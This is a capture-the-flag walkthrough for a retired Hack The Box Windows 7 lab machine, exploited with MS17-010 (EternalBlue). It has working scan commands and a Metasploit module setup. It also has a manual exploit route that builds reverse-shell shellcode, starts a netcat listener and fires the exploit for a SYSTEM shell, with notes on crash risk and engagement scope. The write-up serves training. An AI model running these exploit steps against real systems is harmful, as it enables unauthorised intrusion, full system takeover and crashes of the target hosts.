Target: Hack The Box, retired. Windows 7 Professional SP1 (build 7601) at 10.10.10.40.

One CVE, no privilege escalation, done in five minutes. The value is not the solve. MS17-010 is the single most consequential SMB bug of the last decade - WannaCry and NotPetya both rode it - and this is the safest place to see it work. Understand the shape of it here, because you will meet it again somewhere that “just run the Metasploit module” is not an acceptable answer.

Attack path

port 445 open
      |
      v
Windows 7 SP1, SMBv1 reachable
      |
      v
smb-vuln-ms17-010 confirms
      |
      v
EternalBlue  -->  NT AUTHORITY\SYSTEM

There is no privilege escalation stage. The exploit lands as SYSTEM because it executes inside the kernel’s SMB driver.

Enumeration

export TARGET=10.10.10.40
mkdir -p scans
nmap -p- --min-rate 5000 -Pn -n -oN scans/all-ports.txt "$TARGET"
nmap -sV -sC -p 135,139,445,49152-49157 -oN scans/services.txt "$TARGET"

The finding is the banner:

445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1

Windows 7 with SMBv1 reachable is the whole box.

smbclient -L "//$TARGET/" -N
enum4linux -a "$TARGET"

Shares: ADMIN$, C$, IPC$, Share, Users. Nothing in them matters. They are there to make you enumerate before you exploit, which is the right habit even when it is not the path.

Confirm the vulnerability before firing anything:

nmap -p445 --script smb-vuln-ms17-010 "$TARGET"

Exploitation with Metasploit

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
set LHOST <your tun0 address>
run

That lands a Meterpreter session as nt authority\system.

Exploitation without Metasploit

Do it this way at least once. OSCP restricts Metasploit to a single machine, and more importantly the manual route shows you what the module is doing.

git clone https://github.com/3ndG4me/AutoBlue-MS17-010
cd AutoBlue-MS17-010
pip install -r requirements.txt

# check exploitability and leak the named pipe
python3 zzz_exploit.py "$TARGET"

# build the shellcode, then fire
cd shellcode && ./shell_prep.sh      # asks for LHOST/LPORT, x64 and x86
cd ..
nc -lvnp 4444 &
python3 eternalblue_exploit7.py "$TARGET" shellcode/sc_x64.bin

eternalblue_exploit7.py is for Windows 7 specifically. Using the Windows 8 variant against this target is the usual reason it fails.

Flags

C:\Users\haris\Desktop\user.txt
C:\Users\Administrator\Desktop\root.txt

No escalation step. You are already SYSTEM, so both are readable from the same shell.

Worth knowing

EternalBlue is a kernel exploit and it can blue-screen the target. On a real engagement that is a denial of service you were probably not scoped for, and the Windows 8 variants are noticeably less stable than the Windows 7 one. Check the target build before running it, and get the crash risk in writing.

The reliable alternative when you already hold a credential is impacket-psexec or smbexec. Exploiting MS17-010 to get a shell on a host you could already authenticate to is a bad trade.

Sources